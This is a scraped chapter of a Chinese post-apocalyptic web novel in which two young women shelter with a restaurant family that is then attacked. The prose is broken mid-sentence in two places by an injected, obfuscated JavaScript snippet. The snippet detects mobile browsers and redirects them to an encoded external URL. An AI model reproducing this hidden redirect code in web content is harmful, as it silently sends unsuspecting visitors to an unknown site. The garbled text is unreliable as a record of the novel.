风将她轻快的声音带进了罗浮耳中:“先不说凭我一个人能不能弄开那么多建筑。如果真在下面找到了他们……我就再也找不到活下去的理由了。” “不如就当爸妈还活着,他们已经逃出去了。电视剧里不总是那么演么——失散的家人在多年后意外重逢什么的。所以我接下来的目标就是好好活着,直到与他们相遇。” 可是罗浮分明听出来,对方的声音里藏着难以察觉的哽咽。 她没有戳穿樊响,笑着说:“没错,只要还有一丝可能性,就不能放弃这个希望。” 顿了顿,她想出一个可能安慰到对方的办法:“对了,我或许可以利用故事帮你获得异能。今夜休息一晚,明天我们找个安全的地方试试看吧?” 樊响笑了一声:“如果能成功就太好了——我可不想拖你的后腿啊。” “别这么说。”罗浮抿抿唇:“你能回来,我真的非常高兴。” 不论是长安里、还是猫鼠游戏,到最后都只剩下了她一个人孤零零的。如今樊响回来了,她才总算是有了一个真正意义上的同伴。 “就这里吧?” 电动车停在路边一辆SUV旁边。 罗浮的长刀削铁如泥,很容易便破坏了一扇车门。二人一前一后在车里勉强睡了一夜。 大概是累得太厉害,即使非常不舒服她们也一觉睡到了天亮。 罗浮是被咕咕乱叫的胃叫醒的。 其实在猫鼠游戏的最后,她把那四只积分苹果给收进了储物空间。可东西似乎只存在于游戏场地里,如今已然消失了。 二人骑着小电驴找了一圈儿,总算在一座小学对面发现一家小卖铺,从废墟里翻出了些食物和水。 令她们感到难受的是:小学也已经塌了。而在那片代表着“宿舍楼”的废墟周围,挤满了心急如焚的家长。他们状若疯魔,不要命似的刨挖着。 罗浮走了那么久都没见过几个人,如今却一下子碰上了一大群。 这只是住得近的——还有很多孩子的父母可能死在了混乱里。那一夜之间,又该死了多少小孩? 两人心里堵得发慌,沉默着拿上东西落荒而逃。 快到中午的时候,她们途经本城有名的老街区,总算是见到了一片顽强伫立着的房屋。 这里的房子保持着以前的复古风,青砖红墙,最高的也就二层楼,再加上算是个热门景点,因此修建得异常坚固稳定,墙面竟然连一道裂痕都没出现。 而居住在这里的人们,自然也都活得好好的。 罗浮骑车载着樊响,像两个来自异界的怪物似的,风尘仆仆地驶入了街道。 人们异样的眼光纷纷落在她们身上,因为太过惊讶,双方都诡异的沉默着。 直到有位五十上下的阿姨问了一声:“孩儿,你们从哪来的?这是去哪儿啊?” 罗浮刹住车,挂上一丝礼节性的微笑:“从青阳区来的,阿姨,您这儿能让我们歇会儿么?” 这是家特色菜馆——让刚从废墟里走进来的罗浮感到非常割裂的是,它门口的广告立牌都没撤下来,上面写着“本地特产”、“内有包厢”之类的广告语。 “行啊,反正也不会有客人来了。” 阿姨苦笑了下,又说:“往里走吧……外面是全塌了吗?我们没走远,只在周围转了一圈,愣是连一栋没塌的建筑都没见着啊!更别说人了。唉!我有个老姐妹就住在隔壁街,我过去瞧过,只找到不知道谁的半只手。” 罗浮停好了车,和樊响一起跟在妇人后面往店里走,心情沉重地回答道:“其他地方不知道,反正我们经过的路段是塌完了。” 好一会儿,对方才叹了口气:“唉……我家算好的,一家子都在这里做生意,刚好躲过一劫。隔壁老张家可就惨了,他们儿子在市中心上大学呢,现下手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808966|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机都没信号,网也上不去,夫妻俩一大早就开车去找孩子了。” 她“啪”地一拍大腿:“这该死的地震来得真不是时候!偏偏大半夜的震!老天爷真够狠心的!它不长眼啊!还有这政府,救援咋慢成这样呢?都两天了还没派人来!” ……这条街的人的确非常幸运,甚至到现在还以为只是发生了大地震。 至于政府,如今是否存在都不知道。 罗浮随口附和了两句,没告诉阿姨真相。对没经历过的人来说那实在是太匪夷所思了,根本不可能因她几句话就相信。 “在这儿休息成不?”阿姨带她们停在一个挺大的包厢门口。 里面有不少软椅,还有一圈贴墙的沙发。 罗浮点点头,真心实意地感激道:“谢谢阿姨,这里特别好。” “没事儿。”阿姨摆摆手:“那你们歇着啊,一会儿我来叫你们一起吃午饭。” 这下连话少的樊响也不好意思了:“那就不用了阿姨,我们已经很麻烦你们了。” 对方爽快的笑道:“这有啥的?俩孩子别抹不开面儿,咱家开饭馆的,还能缺口吃的不成?就这么说好了啊,我一会儿再来!” 目送她走远,罗浮低低说了声:“找机会跟他们讲讲好了,不管信不信的,心里好歹有个底,好过莫名其妙出意外。” 樊响点头:“嗯,这阿姨是个好人。” 随后二人进了包厢将门反锁起来,罗浮坐在靠墙沙发上,吸了口气,看着樊响说:“你会在两小时内觉醒一项非常适合你的异能。” 受“汽车”一事启发:不是凭空捏造一个具体的能力给对方,而是给对方添加一个“会觉醒异能的buff”。 如此一来,樊响觉醒的能力就是属于她自己的,哪怕“故事”被下一个替换也不要紧了。 当然,如此强大的故事效果也不是如今的罗浮能够轻易承受的——就在话音落下的同一时间,她喉头一阵腥甜,“噗”的吐出一大口血。 在樊响惊恐慌乱的喊着“你没告诉我会这么严重的”时,罗浮眼前一黑彻底晕死过去。 33.快逃啊!!! 昏迷中的时间是混乱的,当罗浮醒过来的时候,根本不知道过去了多久。 她虚弱地撑着上半身坐起来,几秒之后,落在那道颀长身影上的目光才渐渐聚焦,终于意识到樊响的模样看上去有些落寞。 她心里顿感不妙,努力挤出一句话来:“怎么样了?” 四个字说出口,才发觉喉咙像卡了刀片似的难受至极。 樊响是侧对着她坐在一张椅子上的,分明能看得见罗浮,此刻却被吓了一跳,连忙起身道:“你醒了?感觉如何?” 罗浮咧咧嘴,摇了下头没说话。喉咙太疼了,还有一股子恶心的铁锈味。 她注意到樊响那双一向傲气逼人的丹凤眼黑沉沉地低垂着,看上去丧气十足。于是伸手握住了对方的手,轻轻捏了捏以示安慰。 樊响短促的笑了一下:“快一个小时了都没一点儿反应,我可能……不具备觉醒异能的能力。很抱歉,让你为了我白费这么大的劲。” 罗浮摇摇头,轻咳两声,勉强说道:“还有一小时,别急。” 话落,门外刚好传来那位阿姨的敲门声:“俩孩儿啊,饭菜做好了,开饭咯!” 二人对视一眼,樊响搀着罗浮过去开了门。 吃饭的地方在大堂里,二十来张桌子空荡荡的,只有靠近收银台的那张上摆满了香喷喷的饭菜。 ……虽然之前两人都很不好意思,但此刻热饭热菜的香气刚一飘过来,她们就不自主地齐齐咽了一下口水。明明上午还吃过东西的肚子,这会儿也突然丢人地咕咕叫起来了。 阿姨朝着不远处的小门喊了一声:“老李,扬风!客人到了,出来吃饭啊!” 里面传来一声回应,很快相继走出一对父子来。 被阿姨叫做扬风的是个二十多岁的青年,他和父亲几乎是一个模子刻出来的:大眼睛,粗眉毛,高鼻梁,还有棱角分明的脸型,是个称得上小帅的男人。 他父亲老李手里端了一盆滋滋冒热气的麻辣水煮鱼,“嗒”的一声搁在桌子最中央留出的空间,笑着招呼道:“快来坐呀,别客气,当自己家就是!” 罗浮跟樊响很有礼貌的说了声:“谢谢叔叔。” 从末日来临至今,算起来也就两天时间,可当热辣的饭菜吞进肚子里时,罗浮竟差一点儿落下泪来。 这短短两天,她简直一口气把前24年的苦和累都给吃完了。 “你们俩这是准备到哪儿去呀?外面都成那样了,两个姑娘家,可得小心着点儿。”阿姨笑眯眯的说着,给二人各盛了一碗白乎乎的鸡汤。 ……已经多久没听过这样长辈饱含慈爱的关心了? 罗浮恍惚一瞬,想起了自己的妈妈。 她几乎将脑袋埋进碗里,慢慢喝了几口汤,才找回自己的声音:“我们是想去找我另一个朋友,离这里有些远。” “那应该没事儿。”李叔喝了口小酒,眯着眼说:“地震再大也不能一座城都塌了吧?别担心啊,你们那朋友肯定好着呢。” 如果真是地震就好了。 只是饭桌上说那件事不太合适,罗浮便只点点头笑着附和了一声。 “你们都多大了啊,看着跟我家李扬风差不多。”阿姨说:“不过他可比不上你们哟,书没读多少,连个工作都找不着,只能让他跟着咱在这儿做点小生意了。就是啊——留在家里没渠道认识女生,叫他相亲又不乐意,真不知道啥时候才能成得了家……” “妈,你就好好吃饭吧。”李扬风一副哭笑不得的样子,冲罗浮和樊响说:“你们别介意啊,我妈就这样,看到年轻女孩儿就想拐弯抹角的给我牵线。” 阿姨撇撇嘴:“我这还不是为了你?你瞅瞅你这样儿,三棍子打不出半句好听的,我还能指望你自个儿给我带个媳妇回来?” “……啃排骨吧你。”李扬风无可奈何,只好夹了一大块排骨给他妈,试图堵住她的嘴。 这会儿李叔打了个酒嗝,被老婆瞪了一眼:“一会儿没看见你又喝上了,少喝点!” 一家子和谐热闹的场面,让身心俱疲的罗浮跟着放松了许多。就连正因异能还没出现而苦恼的樊响,面上也渐渐多了点笑意。 一顿饭快要吃完时,大门外走来一名青年,笑眯眯地喊道:“李叔,王婶,我妈喊我给你们送点儿粉蒸肉来,刚做好的,还烫着呢!” 阿姨连忙起身迎上去:“哎哟,我前几天还跟你妈念叨,说老馋她那手粉蒸肉了——这是丽妹子想着我呢!” 青年跟着她走过来,目光在罗樊二人身上转了一圈:“这两位是?” 阿姨笑着解释:“从这路过的,外面都成那样了,两姑娘可不容易。” 罗浮吃得差不多了,身体依然很不适,又见来了人,便起身道:“阿姨,叔,我吃好了,你们慢慢吃。” 樊响礼貌地将二人碗筷摆好,起身搀着罗浮说:“多谢款待,一会儿我来洗碗。” 李叔摆摆手:“哎呀,哪有让客洗碗的?去歇着吧啊。” 那青年站在一旁,注视着两人慢慢走远,直至消失。 “鸿文,你先坐会儿,我去拿点儿东西,你给丽妹子带回去啊。” 阿姨已经走向通往厨房的小门口,笑眯眯地说完便走了进去。 李叔见老婆不在了,又偷摸抿了一口酒,“哈”的一声吐出酒气,眯着眼笑道:“鸿文啊,来陪叔喝两口?” 话音未落,对方忽地转过头来,方才还温和有礼的面容竟变得阴沉至极。 李叔被吓了一跳,愣愣地问:“你咋、咋的了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817067|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>青年冷漠的目光死盯着他,深棕色的瞳孔渐渐蕴起几分嗜血的红:“前晚半夜地震时,我是不是告诉过你们绝对不要让外人进来?你们拿我的话当耳旁风?” 罗浮软绵绵的靠在沙发上,接过樊响递来的一杯水,感慨道:“这里真像是一片世外桃源。” “是啊。”樊响沉默了几秒,又道:“如果我家在这里就好了。” 话音未落,一道极其惊恐尖锐的女声自大堂中响起,穿透厚厚的包厢门,清清楚楚落进二人耳中。 “俩孩儿——快逃啊!!!” 罗浮一个激灵瞬间站起来,顾不得身体几乎虚脱的不适,和樊响对视一眼,咬牙奔向了门口。 樊响拽她一把:“你这个样子就别勉强了,先在这里等着,我去看看!” 对方没用什么力,但罗浮却被拉得一个趔趄,差点儿原地倒下。 她不得不承认自己出去了也只能添麻烦:“那你小心。” 樊响扯下腰间长鞭“啪”的一声甩开,握上门把,回头递给罗浮一个安心的眼神,随即推门而出。 干净利落、义无反顾,就像一位奔赴战场的女将军。 - 原先即使没有电灯也还算明亮的大堂里,此刻却只剩一片化不开的黑暗。 樊响背靠墙面,戒备地扫视着周围,在目光逐渐适应黑暗时,轻轻喊了一声:“阿姨?” 太黑了,她只能看见那些模糊的桌椅轮廓。 空气里还飘荡着香喷喷的饭菜味,可那热情有趣的一家三口却像是突然从这个世界消失了。 樊响慢慢向饭桌那边走了几步,又喊一声:“阿姨?李叔?李扬风?” “咯……” 极其轻微的一声响钻进耳里,樊响敏锐地听出来——这是从喉咙里溢出的悲鸣。 她找准方位警惕地走过去,手心里浸出一层冷汗:“是谁?” “呃……”那声音像是在回答,却又说不出一个标准的字。 樊响终于找到声源,在红色地毯上隐约看见一团模糊不清的黑色人影。 她一步步靠近,在距离两米左右时,总算看出倒在那里的正是那位王阿姨。 “阿姨?”她又喊一声,上前几步,小心翼翼伸手去把人翻了过来。 距离近得足够让她看清对方的脸。 那位几分钟前还生龙活虎的阿姨,如今满脸惨白,眼角流血、目光呆滞、头发散乱。 她直挺挺躺在地上,空洞无神的目光没有落点,似乎已经死去。 樊响眼皮抖了一下,好一会儿才伸出手去,探了探她的鼻息。 下一秒,阿姨“呃”地抽了一大口气,“啪”一声死死拽住了樊响的手腕:“老李和扬风——都死了——都死了——!!!”